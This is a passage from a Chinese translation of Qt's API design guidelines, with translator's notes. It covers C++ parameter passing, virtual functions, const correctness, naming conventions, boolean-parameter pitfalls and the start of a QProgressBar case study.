52)<br/>\ntoolButton-&gt;setStyle(yetAnotherStyle);<br/>\ntoolButton-&gt;iconSize();    // returns (52, 52)<br/>\n[/code]</p>\n<p>提醒一下，一旦设置了<code>iconSize</code>，设置就会一直保持，即使改变当前的风格。这 <strong><em>很好</em></strong>。但有的时候需要能重置属性。有两种方法：</p>\n<ol>\n<li>传入一个特殊值（如<code>QSize()</code>、<code>-1</code>或者<code>Qt::Alignment(0)</code>）来表示『重置』</li>\n<li>提供一个明确的重置方法，如<code>resetFoo()</code>和<code>unsetFoo()</code></li>\n</ol>\n<p>对于<code>iconSize</code>，使用<code>QSize()</code>（比如 <code>QSize(–1, -1)</code>）来表示『重置』就够用了。</p>\n<p>在某些情况下，getter方法返回的结果与所设置的值不同。例如，虽然调用了<code>widget-&gt;setEnabled(true)</code>，但如果它的父widget处于disabled状态，那么<code>widget-&gt;isEnabled()</code>仍然返回的是<code>false</code>。这样是OK的，因为一般来说就是我们想要的检查结果（父widget处于disabled状态，里面的子widget也应该变为灰的不响应用户操作，就好像子widget自身处于disabled状态一样；与此同时，因为子widget记得在自己的内心深处是enabled状态的，只是一直等待着它的父widget变为enabled）。当然诸如这些都必须在文档中妥善地说明清楚。</p>\n<h1>4. C++相关</h1>\n<h2>4.1 值 vs. 对象</h2>\n<h3>4.1.1 指针 vs. 引用</h3>\n<p>指针（pointer）还是引用（reference）哪个是最好的输出参数（out-parameters）？</p>\n<p>[code language=”cpp”]<br/>\nvoid getHsv(int *h, int *s, int *v) const;<br/>\nvoid getHsv(int &amp;h, int &amp;s, int &amp;v) const;<br/>\n[/code]</p>\n<p>大多数C++书籍推荐尽可能使用引用，基于一个普遍的观点：引用比指针『更加安全和优雅』。与此相反，我们在开发Qt时倾向于指针，因为指针让用户代码可读性更好。比较下面例子：</p>\n<p>[code language=”cpp”]<br/>\ncolor.getHsv(&amp;h, &amp;s, &amp;v);<br/>\ncolor.getHsv(h, s, v);<br/>\n[/code]</p>\n<p>只有第一行代码清楚表达出<code>h</code>、<code>s</code>、<code>v</code>参数在函数调用中非常有可能会被修改。</p>\n<p>这也就是说，编译器并不喜欢『出参』，所你应该在新的API中避免使用『出参』，而是返回一个结构体，如下所示：</p>\n<p>[code language=”cpp”]<br/>\nstruct Hsv { int hue, saturation, value };<br/>\nHsv getHsv() const;<br/>\n[/code]</p>\n<blockquote><p>【译注】：函数的『入参』和『出参』的混用会导致 API 接口语义的混乱，所以，使用指针，在调用的时候，实参需要加上“&amp;”，这样在代码阅读的时候，可以看到是一个『出参』，有利于代码阅读。（但是这样做，在函数内就需要判断指针是否为空的情况，因为引用是不需要判断的，所以，这是一种 trade-off）</p>\n<p>另外，如果这样的参数过多的话，最好使用一个结构体来把数据打包，一方面，为一组返回值取个名字，另一方面，这样有利用接口的简单。</p></blockquote>\n<h3>4.1.2 按常量引用传参 vs. 按值传参</h3>\n<p>如果类型大于16字节，按常量引用传参。</p>\n<p>如果类型有重型的（non-trivial）拷贝构造函数（copy-constructor）或是重型的析构函数（destructor），按常量引用传参以避免执行这些函数。</p>\n<p>对于其它的类型通常应该按值传参。</p>\n<p>示例：</p>\n<p>[code language=”cpp”]<br/>\nvoid setAge(int age);<br/>\nvoid setCategory(QChar cat);<br/>\nvoid setName(QLatin1String name);</p>\n<p>// const-ref is much faster than running copy-constructor and destructor<br/>\nvoid setAlarm(const QSharedPointer&lt;Alarm&gt; &amp;alarm);</p>\n<p>// QDate, QTime, QPoint, QPointF, QSize, QSizeF, QRect<br/>\n// are good examples of other classes you should pass by value.<br/>\n[/code]</p>\n<blockquote><p>【译注】：这是传引用和传值的差别了，因为传值会有对像拷贝，传引用则不会。所以，如果对像的构造比较重的话（换句话说，就是对像里的成员变量需要的内存比较大），这就会影响很多性能。所以，为了提高性能，最好是传引用。但是如果传入引用的话，会导致这个对象可能会被改变。所以传入const reference。</p></blockquote>\n<h2>4.2 虚函数</h2>\n<p>在C++中，当类的成员函数声明为virtual，主要是为了通过在子类重载此函数能够定制函数的行为。将函数声明为virtual的目的是为了让对这个函数已有的调用变成执行实际实例的代码路径。对于没有在类外部调用的函数声明成virtual，你应该事先非常慎重地思考过。</p>\n<p>[code language=”cpp”]<br/>\n// QTextEdit in Qt 3: member functions that have no reason for being virtual<br/>\nvirtual void resetFormat();<br/>\nvirtual void setUndoDepth( int d );<br/>\nvirtual void setFormat( QTextFormat *f, int flags );<br/>\nvirtual void ensureCursorVisible();<br/>\nvirtual void placeCursor( const QPoint &amp;pos;, QTextCursor **c = 0 );<br/>\nvirtual void moveCursor( CursorAction action, bool select );<br/>\nvirtual void doKeyboardAction( KeyboardAction action );<br/>\nvirtual void removeSelectedText( int selNum = 0 );<br/>\nvirtual void removeSelection( int selNum = 0 );<br/>\nvirtual void setCurrentFont( const QFont &amp;f );<br/>\nvirtual void setOverwriteMode( bool b ) { overWrite = b; }<br/>\n[/code]</p>\n<p><code>QTextEdit</code>从Qt 3移植到Qt 4的时候，几乎所有的虚函数都被移除了。有趣的是（但在预料之中），并没有人对此有大的抱怨，为什么？因为Qt 3没用到<code>QTextEdit</code>的多态行为 —— 只有你会；简单地说，没有理由去继承<code>QTextEdit</code>并重写这些函数，除非你自己调用了这些方法。如果在Qt在外部你的应用程序你需要多态，你可以自己添加多态。</p>\n<blockquote><p>【译注】：『多态』的目的只不过是为了实践 —— 『依赖于接口而不是实现』，也就是说，接口是代码抽像的一个非常重要的方式（在Java/Go中都有专门的接口声明语法）。所以，如果没有接口抽像，使用『多态』的意义也就不大了，因为也就没有必要使用『虚函数』了。</p></blockquote>\n<h3>4.2.1 避免虚函数</h3>\n<p>在Qt中，我们有很多理由尽量减少虚函数的数量。每一次对虚函数的调用会在函数调用链路中插入一个未掌控的节点（某种程度上使结果更无法预测），使得bug修复变得更复杂。用户在重写的虚函数中可以做很多疯狂的事：</p>\n<ul>\n<li>发送事件</li>\n<li>发送信号</li>\n<li>重新进入事件循环（例如，通过打开一个模态文件对话框）</li>\n<li>删除对象（即触发『<code>delete this</code>』）</li>\n</ul>\n<p>还有其他很多原因要避免过度使用虚函数：</p>\n<ul>\n<li>添加、移动或是删除虚函数都带来二进制兼容问题（binary compatibility/BC）</li>\n<li>重载虚函数并不容易</li>\n<li>编译器几乎不能优化或内联（inline）对虚函数的调用</li>\n<li>虚函数调用需要查找虚函数表（v-table），这比普通函数调用慢了2到3倍</li>\n<li>虚函数使得类很难按值拷贝（尽管也可以按值拷贝，但是非常混乱并且不建议这样做）</li>\n</ul>\n<p>经验告诉我们，没有虚函数的类一般bug更少、维护成本也更低。</p>\n<p>一般的经验法则是，除非我们以这个类作为工具集提供而且有很多用户来调用某个类的虚函数，否则这个函数九成不应该设计成虚函数。</p>\n<blockquote><p>【译注】：</p>\n<ol>\n<li>使用虚函数时，你需要对编译器的内部行为非常清楚，否则，你会在使用虚函数时，觉得有好些『古怪』的问题发生。比如在创建数组对象的时候。</li>\n<li>在C++中，会有一个基础类，这个基础类中已经实现好了很多功能，然后把其中的一些函数放给子类去修改和实现。这种方法在父类和子类都是一组开发人员维护时没有什么问题，但是如果这是两组开发人员，这就会带来很多问题了，就像Qt这样，子类完全无法控制，全世界的开发人员想干什么就干什么。所以，子类的代码和父类的代码在兼容上就会出现很多很多问题。所以，还是上面所说，其实，虚函数应该声明在接口的语义里（这就是设计模式的两个宗旨——依赖于接口，而不是实现；钟爱于组合，而不是继承。也是为什么Java和Go语言使用interface关键字的原因，C++在多态的语义上非常容易滥用）</li>\n</ol>\n</blockquote>\n<h3>4.2.2 虚函数 vs. 拷贝</h3>\n<p>多态对象（polymorphic objects）和值类型的类（value-type classes）两者很难协作好。</p>\n<p>包含虚函数的类必须把析构函数声明为虚函数，以防止父类析构时没有清理子类的数据，导致内存泄漏。</p>\n<p>如果要使一个类能够拷贝、赋值或按值比较，往往需要拷贝构造函数、赋值操作符（<code>operator =</code>）和相等操作符（<code>operator ==</code>）。</p>\n<p>[code language=”cpp”]<br/>\nclass CopyClass {<br/>\npublic:<br/>\n    CopyClass();<br/>\n    CopyClass(const CopyClass &amp;other);<br/>\n    ~CopyClass();<br/>\n    CopyClass &amp;operator =(const CopyClass &amp;other);<br/>\n    bool operator ==(const CopyClass &amp;other) const;<br/>\n    bool operator !=(const CopyClass &amp;other) const;</p>\n<p>    virtual void setValue(int v);<br/>\n};<br/>\n[/code]</p>\n<p>如果继承<code>CopyClass</code>这个类，预料之外的事就已经在代码时酝酿了。一般情况下，如果没有虚成员函数和虚析构函数，就不能创建出可以多态的子类。然而，如果存在虚成员函数和虚析构函数，这突然变成了要有子类去继承的理由，而且开始变得复杂了。<strong><em>起初认为只要简单声明上虚操作符重载函数（virtual operators）。</em></strong> 但其实是走上了一条混乱和毁灭之路（破坏了代码的可读性）。看看下面的这个例子：</p>\n<p>[code language=”cpp”]<br/>\nclass OtherClass {<br/>\npublic:<br/>\n    const CopyClass &amp;instance() const; // 这个方法返回的是什么？可以赋值什么？<br/>\n};<br/>\n[/code]</p>\n<p>（这部份还未完成）</p>\n<blockquote><p>【译注】：因为原文上说，这部份并没有完成，所以，我也没有搞懂原文具体也是想表达什么。不过，就标题而言，原文是想说，在多态的情况下拷贝对象所带来的问题？？</p></blockquote>\n<h2>4.3 关于const</h2>\n<p><strong><em>C++的关键词const表明了内容不会改变或是没有副作用。可以应用于简单的值、指针及指针所指的内容，也可以作为一个特别的属性应用于类的成员函数上，表示成员函数不能修改对象的状态。</em></strong></p>\n<p>然而，const本身并没有提供太大的价值 —— 很多编程语言甚至没有类似const的关键词，但是却并没有因此产生问题。实际上，如果你不用函数重载，并在C++源代码用搜索并删除所有的const，几乎总能编译通过并且正常运行。尽量让使用的const保持实用有效，这点很重要。</p>\n<p>让我们看一下在Qt的API设计中与const相关的场景。</p>\n<h3>4.3.1 输入参数：const指针</h3>\n<p>有输入指针参数的const成员函数，几乎总是const指针参数。</p>\n<p>如果函数声明为const，意味着既没有副作用，也不会改变对象的可见状态。那为什么它需要一个没有const限定的输入参数呢？记住const类型的函数通常被其他const类型的函数调用，接收到的一般都是const指针（只要不主动const_cast，我们推荐尽量避免使用const_cast）</p>\n<p>以前：</p>\n<p>[code language=”cpp”]<br/>\nbool QWidget::isVisibleTo(QWidget *ancestor) const;<br/>\nbool QWidget::isEnabledTo(QWidget *ancestor) const;<br/>\nQPoint QWidget::mapFrom(QWidget *ancestor, const QPoint &amp;pos) const;<br/>\n[/code]</p>\n<p><code>QWidget</code>声明了许多非const指针输入参数的const成员函数。注意，这些函数可以修改传入的参数，不能修改对象自己。使用这样的函数常常要借助const_cast转换。如果是const指针输入参数，就可以避免这样的转换了。</p>\n<p>之后：</p>\n<p>[code language=”cpp”]<br/>\nbool QWidget::isVisibleTo(const QWidget *ancestor) const;<br/>\nbool QWidget::isEnabledTo(const QWidget *ancestor) const;<br/>\nQPoint QWidget::mapFrom(const QWidget *ancestor, const QPoint &amp;pos) const;<br/>\n[/code]</p>\n<p>注意，我们在<code>QGraphicsItem</code>中对此做了修正，但是<code>QWidget</code>要等到Qt 5:</p>\n<p>[code language=”cpp”]<br/>\nbool isVisibleTo(const QGraphicsItem *parent) const;<br/>\nQPointF mapFromItem (const QGraphicsItem *item, const QPointF &amp;point) const;<br/>\n[/code]</p>\n<h3>4.3.2 返回值：const值</h3>\n<p>调用函数返回的非引用类型的结果，称之为右值（R-value）。</p>\n<p>非类（non-class）的右值总是无cv限定类型（cv-unqualified type）。虽然从语法上讲，加上const也可以，但是没什么意义，因为鉴于访问权限这些值是不能改变的。多数现代编译器在编译这样的代码时会提示警告信息。</p>\n<blockquote><p>【译注】：cv-qualified的类型（与cv-unqualified相反）是由const或者volatile或者volatile const限定的类型。详见<a href=\"http://en.cppreference.com/w/cpp/language/cv\">cv (const and volatile) type qualifiers – C++语言参考</a></p></blockquote>\n<p>当在类类型（class type）右值上添加const关键字，则禁止访问非const成员函数以及对成员的直接操作。</p>\n<p>不加const则没有以上的限制，但几乎没有必要加上const，因为右值对象生存时间（life time）的结束一般在C++清理的时候（通俗的说，下一个分号地方），而对右值对象的修改随着右值对象的生存时间也一起结束了（也就是本条语句的执行完成的时候）。</p>\n<p>示例：</p>\n<p>[code language=”cpp”]<br/>\nstruct Foo {<br/>\n    void setValue(int v) { value = v; }<br/>\n    int value;<br/>\n};</p>\n<p>Foo foo() {<br/>\n    return Foo();<br/>\n}</p>\n<p>const Foo cfoo() {<br/>\n    return Foo();<br/>\n}</p>\n<p>int main() {<br/>\n    // The following does compile, foo() is non-const R-value which<br/>\n    // can’t be assigned to (this generally requires an L-value)<br/>\n    // but member access leads to a L-value:<br/>\n    foo().value = 1; // Ok, but temporary will be thrown away at the end of the full-expression.</p>\n<p>    // The following does compile, foo() is non-const R-value which<br/>\n    // can’t be assigned to, but calling (even non-const) member<br/>\n    // function is fine:<br/>\n    foo().setValue(1); // Ok, but temporary will be thrown away at the end of the full-expression.</p>\n<p>    // The following does _not_compile, foo() is ”const” R-value<br/>\n    // with const member which member access can’t be assigned to:<br/>\n    cfoo().value = 1; // Not ok.</p>\n<p>    // The following does _not_compile, foo() is ”const” R-value,<br/>\n    // one cannot call non-const member functions:<br/>\n    cfoo().setValue(1); // Not ok<br/>\n}<br/>\n[/code]</p>\n<blockquote><p>【译注】：上述的代码说明，如果返回值不是const的，代码可以顺利编译通过，然而并没有什么卵用，因为那个临时对像马上就被抛弃了。所以，这样的无用的代码最好还是在编译时报个错，以免当时头脑发热想错了，写了一段没用但还以为有用的代码。</p></blockquote>\n<h3>4.3.3 返回值：非const的指针还是有const的指针</h3>\n<p>谈到const函数应该返回非const的指针还是const指针这个话题时，多数人发现在C++中关于『const正确性』（const correctness）在概念上产生了分歧。 <em>问题起源是：<strong>const函数本身不能修改对象自身的状态，却可以返回成员的非const指针</strong>。返回指针这个简单动作本身既不会影响整个对象的可见状态，当然也不会改变这个函数职责范围内涉及的状态。但是，这却使得程序员可以间接访问并修改对象的状态。</em></p>\n<p>下面的例子演示了通过返回非const指针的const函数绕开const约定（constness）的诸多方式中的一种：</p>\n<p>[code language=”cpp”]<br/>\nQVariant CustomWidget::inputMethodQuery(Qt::InputMethodQuery query) const {<br/>\n    moveBy(10, 10); // doesn’t compile!<br/>\n    window()-&gt;childAt(mapTo(window(), rect().center()))-&gt;moveBy(10, 10); // compiles!<br/>\n}<br/>\n[/code]</p>\n<p>返回const指针的函数正是保护以避免这些（可能是不期望的/没有预料到的）副作用，至少是在一定程度上。但哪个函数你会觉得更想返回const指针，或是不止一个函数？</p>\n<p>若采用const正确（const-correct）的方法，每个返回某个成员的指针（或多个指向成员的指针）的const函数必须返回const指针。在实践中，很不幸这样的做法将导致无法使用的API：</p>\n<p>[code language=”cpp”]<br/>\nQGraphicsScene scene;<br/>\n// … populate scene</p>\n<p>foreach (const QGraphicsItem *item, scene.items()) {<br/>\n    item-&gt;setPos(qrand() % 500, qrand() % 500); // doesn’t compile! item is a const pointer<br/>\n}<br/>\n[/code]</p>\n<p><code>QGraphicsScene::items()</code>是一个const函数，顺着思考看起来这个函数只应该返回const指针。</p>\n<p>在Qt中，我们几乎只有非const的使用模式。我们选择的是实用路子： 相比滥用非const指针返回类型带来的问题，返回const指针更可能招致过分使用const_cast的问题。</p>\n<h3>4.3.4 返回值：按值返回 还是 按const引用返回？</h3>\n<p>若返回的是对象的拷贝，那么返回const引用是更直接的方案； 然而，这样的做法限制了后面想要对这个类的重构（refactor）。 （以<code>d-point</code>的典型做法（idiom）为例，我们可以在任何时候改变Qt类在内存表示（memory representation）；但却不能在不破坏二进制兼容性的情况下把改变函数的签名，返回值从<code>const QFoo &amp;</code>变为<code>QFoo</code>。） 基于这个原因，除去对运行速度敏感（speed is critical）而重构不是问题的个别情形（例如，<code>QList::at()</code>），我们一般返回<code>QFoo</code>而不是<code>const QFoo &amp;</code>。</p>\n<blockquote><p>【译注】：参看《Effective C++》中条款23：Don’t try to return a reference when you must return an object</p></blockquote>\n<h3>4.4.5 const vs. 对象的状态</h3>\n<p>const正确性（Const correctness）的问题就像C圈子中vi与emacs的讨论，因为这个话题在很多地方都存在分歧（比如基于指针的函数）。</p>\n<p>但通用准则是const函数不能改变类的可见状态。『状态』的意思是『自身以及涉及的职责』。这并不是指非const函数能够改变自身的私有成员，也不是指const函数改变不了。而是指函数是活跃的并存在可见的副作用（visible side effects）。const函数一般没有任何可见的副作用，比如：</p>\n<p>[code language=”cpp”]<br/>\nQSize size = widget-&gt;sizeHint(); // const<br/>\nwidget-&gt;move(10, 10); // not const<br/>\n[/code]</p>\n<p>代理（delegate）负责在其它对象上绘制内容。 它的状态包括它的职责，因此包括在哪个对象做绘制这样的状态。 调用它的绘画行为必然会有副作用； 它改变了它绘制所在设备的外观（及其所关联的状态）。鉴于这些，<code>paint()</code>作为const函数并不合理。 进一步说，任何<code>paint()</code>或<code>QIcon</code>的<code>paint()</code>的视图函数是const函数也不合理。 没有人会从内部的const函数去调用<code>QIcon::paint()</code>，除非他想显式地绕开const这个特性。 如果是这种情况，使用const_cast会更好。</p>\n<p>[code language=”cpp”]<br/>\n// QAbstractItemDelegate::paint is const<br/>\nvoid QAbstractItemDelegate::paint(QPainter **painter, const QStyleOptionViewItem &amp;option, const QModelIndex &amp;index) const</p>\n<p>// QGraphicsItem::paint is not const<br/>\nvoid QGraphicsItem::paint(QPainter *painter, const QStyleOptionGraphicsItem option, QWidget *widget)<br/>\n[/code]</p>\n<p>const关键字并不能按你期望的样子起作用。应该考虑将其移除而不是去重载const/非const函数。</p>\n<h1>5. API的语义和文档</h1>\n<p>当传值为<code>-1</code>的参数给函数，函数会是什么行为？有很多类似的问题……</p>\n<p>是警告、致命错误还是其它？</p>\n<p>API需要的是质量保证。API第一个版本一定是不对的；必须对其进行测试。 以阅读使用API的代码的方式编写用例，且验证这样代码是可读的。</p>\n<p>还有其他的验证方法，比如</p>\n<ul>\n<li>让别人使用API（看了文档或是先不看文档都可以）</li>\n<li>给类写文档（包含类的概述和每个函数）</li>\n</ul>\n<h1>6. 命名的艺术</h1>\n<p>命名很可能是API设计中最重要的一个问题。类应该叫什么名字？成员函数应该叫什么名字？</p>\n<h2>6.1 通用的命名规则</h2>\n<p>有几个规则对于所有类型的命名都等同适用。第一个，之前已经提到过，不要使用缩写。即使是明显的缩写，比如把<code>previous</code>缩写成<code>prev</code>，从长远来看是回报是负的，因为用户必须要记住缩写词的含义。</p>\n<p>如果API本身没有一致性，之后事情自然就会越来越糟；例如，Qt 3 中同时存在<code>activatePreviousWindow()</code>与<code>fetchPrev()</code>。恪守『不缩写』规则更容易地创建一致性的API。</p>\n<p>另一个时重要但更微妙的准则是在设计类时应该保持子类名称空间的干净。在Qt 3中，此项准则并没有一直遵循。以<code>QToolButton</code>为例对此进行说明。如果调用<code>QToolButton</code>的 <code>name()</code>、<code>caption()</code>、<code>text()</code>或者<code>textLabel()</code>，你觉得会返回什么？用Qt设计器在<code>QToolButton</code>上自己先试试吧：</p>\n<ul>\n<li><code>name</code>属性是继承自<code>QObject</code>，返回内部的对象名称，用于调试和测试。</li>\n<li><code>caption</code>属性继承自<code>QWidget</code>，返回窗口标题，对<code>QToolButton</code>来说毫无意义，因为它在创建的时候parent就存在了。</li>\n<li><code>text</code>函数继承自<code>QButton</code>，一般用于按钮。当<code>useTextLabel</code>不为<code>true</code>，才用这个属性。</li>\n<li><code>textLabel</code>属性在<code>QToolButton</code>内声明，当<code>useTextLabel</code>为<code>true</code>时显示在按钮上。</li>\n</ul>\n<p>为了可读性，在Qt 4中<code>QToolButton</code>的<code>name</code>属性改成了<code>objectName</code>，<code>caption</code>改成了<code>windowTitle</code>，删除了<code>textLabel</code>属性因为和<code>text</code>属性相同。</p>\n<p>当你找不到好的命名时，写文档也是个很好方法：要做的就是尝试为各个条目（item）（如类、方法、枚举值等等）写文档，并用写下的第一句话作为启发。如果找不到一个确切的命名，往往说明这个条目是不该有的。如果所有尝试都失败了，并且你坚信这个概念是合理的，那么就发明一个新名字。像widget、event、focus和buddy这些命名就是在这一步诞生的。</p>\n<blockquote><p>【译注】：写文档是一个非常好的习惯。写文档的过程其实就是在帮你梳理你的编程思路。很多时候，文档写着写着你就会发现要去改代码去了。除了上述的好处多，写文档还有更多的好处。比如，在写文档的过程中，你发现文字描述过于复杂了，这表明着你的代码或逻辑是复杂的，这就倒逼你去重构你的代码。所以 —— <strong>写文档其实就是写代码</strong>。</p></blockquote>\n<h2>6.2 类的命名</h2>\n<p>识别出类所在的分组，而不是为每个类都去找个完美的命名。例如，所有Qt 4的能感知模型（model-aware）的item view，类后缀都是<code>View</code>（<code>QListView</code>、<code>QTableView</code>、<code>QTreeView</code>），而相应的基于item（item-based）的类后缀是<code>Widget</code>（<code>QListWidget</code>、<code>QTableWidget</code>、<code>QTreeWidget</code>）。</p>\n<h2>6.3 枚举类型及其值的命名</h2>\n<p>声明枚举类型时，需要记住在C++中枚举值在使用时不会带上类型（与Java、C#不同）。下面的例子演示了枚举值命名得过于通用的危害：</p>\n<p>[code language=”cpp”]<br/>\nnamespace Qt<br/>\n{<br/>\n    enum Corner { TopLeft, BottomRight, … };<br/>\n    enum CaseSensitivity { Insensitive, Sensitive };<br/>\n    …<br/>\n};</p>\n<p>tabWidget-&gt;setCornerWidget(widget, Qt::TopLeft);<br/>\nstr.indexOf(\"$(QTDIR)\", Qt::Insensitive);<br/>\n[/code]</p>\n<p>在最后一行，<code>Insensitive</code>是什么意思？命名枚举类型的一个准则是在枚举值中至少重复此枚举类型名中的一个元素：</p>\n<p>[code language=”cpp”]<br/>\nnamespace Qt<br/>\n{<br/>\n    enum Corner { TopLeftCorner, BottomRightCorner, … };<br/>\n    enum CaseSensitivity { CaseInsensitive, CaseSensitive };<br/>\n    …<br/>\n};</p>\n<p>tabWidget-&gt;setCornerWidget(widget, Qt::TopLeftCorner);<br/>\nstr.indexOf(\"$(QTDIR)\", Qt::CaseInsensitive);<br/>\n[/code]</p>\n<p>当对枚举值进行或运算并作为某种标志（flag）时，传统的做法是把或运算的结果保存在int型的值中，但这不是类型安全的。Qt 4提供了一个模板类<code>QFlags</code>，其中的<code>T</code>是枚举类型。为了方便使用，Qt用<code>typedef</code>重新定义了<code>QFlag</code>类型，所以可以用<code>Qt::Alignment</code>代替<code>QFlags</code>。</p>\n<p>习惯上，枚举类型命名用单数形式（因为它一次只能『持有』一个flag），而持有多个『flag』的类型用复数形式，例如：</p>\n<p>[code language=”cpp”]<br/>\nenum RectangleEdge { LeftEdge, RightEdge, … };<br/>\ntypedef QFlags&lt;RectangleEdge&gt; RectangleEdges;<br/>\n[/code]</p>\n<p>在某些情形下，持有多个『flag』的类型命名用单数形式。对于这种情况，持有的枚举类型名称要求是以<code>Flag</code>为后缀：</p>\n<p>[code language=”cpp”]<br/>\nenum AlignmentFlag { AlignLeft, AlignTop, … };<br/>\ntypedef QFlags&lt;AlignmentFlag&gt; Alignment;<br/>\n[/code]</p>\n<h2>6.4 函数和参数的命名</h2>\n<p>函数命名的第一准则是可以从函数名看出来此函数是否有副作用。在Qt 3中，const函数<code>QString::simplifyWhiteSpace()</code>违反了此准则，因为它返回了一个<code>QString</code>而不是按名称暗示的那样，改变调用它的<code>QString</code>对象。在Qt 4中，此函数重命名为<code>QString::simplified()</code>。</p>\n<p>虽然参数名不会出现在使用API的代码中，但是它们给程序员提供了重要信息。因为现代的IDE都会在写代码时显示参数名称，所以值得在头文件中给参数起一个恰当的名字并在文档中使用相同的名字。</p>\n<h2>6.5 布尔类型的getter与setter方法的命名</h2>\n<p>为<code>bool</code>属性的getter和setter方法命名总是很痛苦。getter应该叫做<code>checked()</code>还是<code>isChecked()</code>？<code>scrollBarsEnabled()</code>还是<code>areScrollBarEnabled()</code>？</p>\n<p>Qt 4中，我们套用以下准则为getter命名：</p>\n<ul>\n<li>形容词以<code>is</code>为前缀，例子：\n<ul>\n<li><code>isChecked()</code></li>\n<li><code>isDown()</code></li>\n<li><code>isEmpty()</code></li>\n<li><code>isMovingEnabled()</code></li>\n</ul>\n</li>\n<li>然而，修饰名词的形容词没有前缀：\n<ul>\n<li><code>scrollBarsEnabled()</code>，而不是<code>areScrollBarsEnabled()</code></li>\n</ul>\n</li>\n<li>动词没有前缀，也不使用第三人称(<code>-s</code>)：\n<ul>\n<li><code>acceptDrops()</code>，而不是<code>acceptsDrops()</code></li>\n<li><code>allColumnsShowFocus()</code></li>\n</ul>\n</li>\n<li>名词一般没有前缀：\n<ul>\n<li><code>autoCompletion()</code>，而不是<code>isAutoCompletion()</code></li>\n<li><code>boundaryChecking()</code></li>\n</ul>\n</li>\n<li>有的时候，没有前缀容易产生误导，这种情况下会加上<code>is</code>前缀：\n<ul>\n<li><code>isOpenGLAvailable()</code>，而不是<code>openGL()</code></li>\n<li><code>isDialog()</code>，而不是<code>dialog()</code><br/>\n（一个叫做<code>dialog()</code>的函数，一般会被认为是返回<code>QDialog</code>。）</li>\n</ul>\n</li>\n</ul>\n<p>setter的名字由getter衍生，去掉了前缀后在前面加上了<code>set</code>；例如，<code>setDown()</code>与<code>setScrollBarsEnabled()</code>。</p>\n<h1>7. 避免常见陷阱</h1>\n<h2>7.1 简化的陷阱</h2>\n<p>一个常见的误解是：实现需要写的代码越少，API就设计得越好。应该记住：代码只会写上几次，却要被反复阅读并理解。例如：</p>\n<p>[code language=”cpp”]<br/>\nQSlider *slider = new QSlider(12, 18, 3, 13, Qt::Vertical, 0, \"volume\");<br/>\n[/code]</p>\n<p>这段代码比下面的读起来要难得多（甚至写起来也更难）：</p>\n<p>[code language=”cpp”]<br/>\nQSlider *slider = new QSlider(Qt::Vertical);<br/>\nslider-&gt;setRange(12, 18);<br/>\nslider-&gt;setPageStep(3);<br/>\nslider-&gt;setValue(13);<br/>\nslider-&gt;setObjectName(\"volume\");<br/>\n[/code]</p>\n<blockquote><p>【译注】：在有IDE的自动提示的支持下，后者写起来非常方便，而前者还需要看相应的文档。</p></blockquote>\n<h2>7.2 布尔参数的陷阱</h2>\n<p>布尔类型的参数总是带来无法阅读的代码。给现有的函数增加一个<code>bool</code>型的参数几乎永远是一种错误的行为。仍以Qt为例，<code>repaint()</code>有一个<code>bool</code>类型的可选参数用于指定背景是否被擦除。可以写出这样的代码：</p>\n<p>[code language=”cpp”]<br/>\nwidget-&gt;repaint(false);<br/>\n[/code]</p>\n<p>初学者很可能是这样理解的，『不要重新绘制！』，能有多少Qt用户真心知道下面3行是什么意思：</p>\n<p>[code language=”cpp”]<br/>\nwidget-&gt;repaint();<br/>\nwidget-&gt;repaint(true);<br/>\nwidget-&gt;repaint(false);<br/>\n[/code]</p>\n<p>更好的API设计应该是这样的：</p>\n<p>[code language=”cpp”]<br/>\nwidget-&gt;repaint();<br/>\nwidget-&gt;repaintWithoutErasing();<br/>\n[/code]</p>\n<p>在Qt 4中，我们通过移除了重新绘制（repaint）而不擦除widget的能力来解决了此问题。Qt 4的双缓冲使这种特性被废弃。</p>\n<p>还有更多的例子：</p>\n<p>[code language=”cpp”]<br/>\nwidget-&gt;setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Expanding, true);<br/>\ntextEdit-&gt;insert(\"Where’s Waldo?\", true, true, false);<br/>\nQRegExp rx(\"moc_***.c??\", false, true);<br/>\n[/code]</p>\n<p>一个明显的解决方案是<code>bool</code>类型改成枚举类型。我们在Qt 4的<code>QString</code>中就是这么做的。对比效果如下：</p>\n<p>[code language=”cpp”]<br/>\nstr.replace(\"%USER%\", user, false);               // Qt 3<br/>\nstr.replace(\"%USER%\", user, Qt::CaseInsensitive); // Qt 4<br/>\n[/code]</p>\n<blockquote><p>【译注】：关于这个条目可以看看 CoolShell 这篇文章一些展开的讨论： <a href=\"https://coolshell.cn/articles/5444.html\" rel=\"nofollow\">千万不要把 BOOL 设计成函数参数</a>。</p></blockquote>\n<h1>8. 案例研究</h1>\n<h2>8.1 <code>QProgressBar</code></h2>\n<p>为了展示上文各种准则的实际应用。我们来研究一下Qt 3中<code>QProgressBar</code>的API，并与Qt 4中对应的API作比较。在Qt 3中：</p>\n<p>[code language=”cpp”]<br/>\nclass QProgressBar : public QWidget<br/>\n{<br/>\n    …<br/>\npublic:<br/>\n    int totalSteps() const;<br/>\n    int progress() const;</p>\n<p>    const QString &amp;progressString() const;<br/>\n    bool percentageVisible() const;<br/>\n    void setPercentageVisible(bool);</p>\n<p>    void setCenterIndicator(bool on);<br/>\n    bool centerIndicator() const;</p>\n<p>    void setIndicatorFollowsStyle(bool);<br/>\n    bool indicatorFollowsStyle() const;</p>\n<p>public slots:<br/>\n    void reset();<br/>\n    virtual void setTotalSteps(int totalSteps);<br/>\n    virtual void setProgress(int progress);<br/>\n    void setProgress(int progress, int totalSteps);</p>\n<p>protected:<br/>\n    virtual bool setIndicator(QString &amp;progressStr,<br/>\n                              int progress,<br/>\n                              int totalSteps);<br/>\n    …<br/>\n};<br/>\n[/code]</p>\n<p>该API相当的复杂和不一致；例如，<code>reset()</code>、<code>setTotalSteps()</code>、<code>setProgress()</code>是紧密联系的，但方法的命名并没明确地表达出来。</p>\n<p>改善此API的关键是抓住<code>QProgressBar</code>与Qt 4的<code>QAbstractSpinBox</code>及其子类<code>QSpinBox</code>、<code>QSlider</code>、<code>QDail</code>之间的相似性。怎么做？把<code>progress</code>、<code>totalSteps</code>替换为<code>minimum</code>、<code>maximum</code>和<code>value</code>。增加一个<code>valueChanged()</code>消息，再增加一个<code>setRange()</code>函数。</p>\n<p>进一步可以观察到<code>progressString</code>、<code>percentage</code>与<code>indicator</code>其实是一回事，即是显示在进度条上的文本。通常这个文本是个百分比，但是可通过<code>setIndicator()</code>设置为任何内容。以下是新的API：</p>\n<p>[code language=”cpp”]<br/>\nvirtual QString text() const;<br/>\nvoid setTextVisible(bool 